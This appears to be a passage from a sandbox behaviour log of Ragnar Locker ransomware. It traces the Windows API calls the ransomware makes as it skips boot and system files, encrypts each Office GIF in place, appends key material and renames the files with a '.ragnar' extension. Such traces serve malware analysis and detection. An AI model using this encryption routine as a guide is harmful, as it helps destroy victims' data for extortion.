lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15060_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15060_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.546] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f396100, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2f396100, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x77, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15061_.GIF", cAlternateFileName="")) returned 1 [0099.546] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.546] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD15061_.GIF" | out: lpString1="BD15061_.GIF") returned="BD15061_.GIF" [0099.546] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15061_.GIF") returned=".GIF" [0099.546] lstrcmpiW (lpString1="BD15061_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.546] lstrcmpiW (lpString1="BD15061_.GIF", lpString2="autorun.inf") returned 1 [0099.546] lstrcmpiW (lpString1="BD15061_.GIF", lpString2="boot.ini") returned -1 [0099.546] lstrcmpiW (lpString1="BD15061_.GIF", lpString2="bootfont.bin") returned -1 [0099.546] lstrcmpiW (lpString1="BD15061_.GIF", lpString2="bootsect.bak") returned -1 [0099.546] lstrcmpiW (lpString1="BD15061_.GIF", lpString2="bootmgr") returned -1 [0099.546] lstrcmpiW (lpString1="BD15061_.GIF", lpString2="bootmgr.efi") returned -1 [0099.546] lstrcmpiW (lpString1="BD15061_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.546] lstrcmpiW (lpString1="BD15061_.GIF", lpString2="desktop.ini") returned -1 [0099.546] lstrcmpiW (lpString1="BD15061_.GIF", lpString2="iconcache.db") returned -1 [0099.546] lstrcmpiW (lpString1="BD15061_.GIF", lpString2="ntldr") returned -1 [0099.546] lstrcmpiW (lpString1="BD15061_.GIF", lpString2="ntuser.dat") returned -1 [0099.546] lstrcmpiW (lpString1="BD15061_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.546] lstrcmpiW (lpString1="BD15061_.GIF", lpString2="ntuser.ini") returned -1 [0099.546] lstrcmpiW (lpString1="BD15061_.GIF", lpString2="thumbs.db") returned -1 [0099.546] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.546] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.546] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.546] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.546] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.547] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.547] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15061_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15061_.gif")) returned 0x20 [0099.547] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15061_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15061_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.547] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=119) returned 1 [0099.547] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.547] GetProcessHeap () returned 0x580000 [0099.547] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.547] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.548] VirtualAlloc (lpAddress=0x0, dwSize=0x77, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.548] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.548] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.548] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x77, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x77, lpOverlapped=0x0) returned 1 [0099.548] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.548] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x77, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.549] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x77, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x77, lpOverlapped=0x0) returned 1 [0099.549] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x77, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.549] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.549] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x77, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.549] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.549] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.549] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.549] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.549] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.549] GetProcessHeap () returned 0x580000 [0099.549] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.549] CloseHandle (hObject=0x10c) returned 1 [0099.549] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15061_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15061_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15061_.GIF" [0099.549] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15061_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15061_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15061_.GIF.ragnar_FD7BD9FC" [0099.549] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15061_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15061_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15061_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15061_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.551] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfac9e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcacf0c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbfac9e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15132_.GIF", cAlternateFileName="")) returned 1 [0099.551] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.551] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD15132_.GIF" | out: lpString1="BD15132_.GIF") returned="BD15132_.GIF" [0099.551] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15132_.GIF") returned=".GIF" [0099.551] lstrcmpiW (lpString1="BD15132_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.551] lstrcmpiW (lpString1="BD15132_.GIF", lpString2="autorun.inf") returned 1 [0099.551] lstrcmpiW (lpString1="BD15132_.GIF", lpString2="boot.ini") returned -1 [0099.551] lstrcmpiW (lpString1="BD15132_.GIF", lpString2="bootfont.bin") returned -1 [0099.551] lstrcmpiW (lpString1="BD15132_.GIF", lpString2="bootsect.bak") returned -1 [0099.551] lstrcmpiW (lpString1="BD15132_.GIF", lpString2="bootmgr") returned -1 [0099.551] lstrcmpiW (lpString1="BD15132_.GIF", lpString2="bootmgr.efi") returned -1 [0099.551] lstrcmpiW (lpString1="BD15132_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.551] lstrcmpiW (lpString1="BD15132_.GIF", lpString2="desktop.ini") returned -1 [0099.551] lstrcmpiW (lpString1="BD15132_.GIF", lpString2="iconcache.db") returned -1 [0099.551] lstrcmpiW (lpString1="BD15132_.GIF", lpString2="ntldr") returned -1 [0099.551] lstrcmpiW (lpString1="BD15132_.GIF", lpString2="ntuser.dat") returned -1 [0099.551] lstrcmpiW (lpString1="BD15132_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.551] lstrcmpiW (lpString1="BD15132_.GIF", lpString2="ntuser.ini") returned -1 [0099.551] lstrcmpiW (lpString1="BD15132_.GIF", lpString2="thumbs.db") returned -1 [0099.552] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.552] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.552] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.552] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.552] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.552] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.552] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15132_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15132_.gif")) returned 0x20 [0099.553] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15132_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15132_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.553] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=185) returned 1 [0099.553] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.553] GetProcessHeap () returned 0x580000 [0099.553] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.553] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.554] VirtualAlloc (lpAddress=0x0, dwSize=0xb9, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.554] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.554] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.554] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb9, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xb9, lpOverlapped=0x0) returned 1 [0099.554] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.554] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb9, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.555] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb9, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xb9, lpOverlapped=0x0) returned 1 [0099.555] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.555] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.555] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.555] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.555] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.555] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.555] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.555] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.555] GetProcessHeap () returned 0x580000 [0099.555] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.555] CloseHandle (hObject=0x10c) returned 1 [0099.555] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15132_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15132_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15132_.GIF" [0099.555] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15132_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15132_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15132_.GIF.ragnar_FD7BD9FC" [0099.555] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15132_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15132_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15132_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15132_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.557] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0ddcb00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcacf0c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc0ddcb00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15133_.GIF", cAlternateFileName="")) returned 1 [0099.557] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.557] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD15133_.GIF" | out: lpString1="BD15133_.GIF") returned="BD15133_.GIF" [0099.557] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15133_.GIF") returned=".GIF" [0099.557] lstrcmpiW (lpString1="BD15133_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.557] lstrcmpiW (lpString1="BD15133_.GIF", lpString2="autorun.inf") returned 1 [0099.557] lstrcmpiW (lpString1="BD15133_.GIF", lpString2="boot.ini") returned -1 [0099.557] lstrcmpiW (lpString1="BD15133_.GIF", lpString2="bootfont.bin") returned -1 [0099.557] lstrcmpiW (lpString1="BD15133_.GIF", lpString2="bootsect.bak") returned -1 [0099.557] lstrcmpiW (lpString1="BD15133_.GIF", lpString2="bootmgr") returned -1 [0099.557] lstrcmpiW (lpString1="BD15133_.GIF", lpString2="bootmgr.efi") returned -1 [0099.558] lstrcmpiW (lpString1="BD15133_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.558] lstrcmpiW (lpString1="BD15133_.GIF", lpString2="desktop.ini") returned -1 [0099.558] lstrcmpiW (lpString1="BD15133_.GIF", lpString2="iconcache.db") returned -1 [0099.558] lstrcmpiW (lpString1="BD15133_.GIF", lpString2="ntldr") returned -1 [0099.558] lstrcmpiW (lpString1="BD15133_.GIF", lpString2="ntuser.dat") returned -1 [0099.558] lstrcmpiW (lpString1="BD15133_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.558] lstrcmpiW (lpString1="BD15133_.GIF", lpString2="ntuser.ini") returned -1 [0099.558] lstrcmpiW (lpString1="BD15133_.GIF", lpString2="thumbs.db") returned -1 [0099.558] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.558] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.558] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.558] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.558] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.558] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.558] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15133_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15133_.gif")) returned 0x20 [0099.558] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15133_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15133_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.558] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=176) returned 1 [0099.559] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xa7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.559] GetProcessHeap () returned 0x580000 [0099.559] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.559] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.559] VirtualAlloc (lpAddress=0x0, dwSize=0xb0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.560] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.560] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.560] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb0, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xb0, lpOverlapped=0x0) returned 1 [0099.560] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.560] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb0, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.560] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xb0, lpOverlapped=0x0) returned 1 [0099.560] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.560] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.560] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.560] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.560] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.560] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.560] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.561] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.561] GetProcessHeap () returned 0x580000 [0099.561] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.561] CloseHandle (hObject=0x10c) returned 1 [0099.561] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15133_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15133_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15133_.GIF" [0099.561] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15133_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15133_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15133_.GIF.ragnar_FD7BD9FC" [0099.561] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15133_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15133_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15133_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15133_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.564] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0ddcb00, 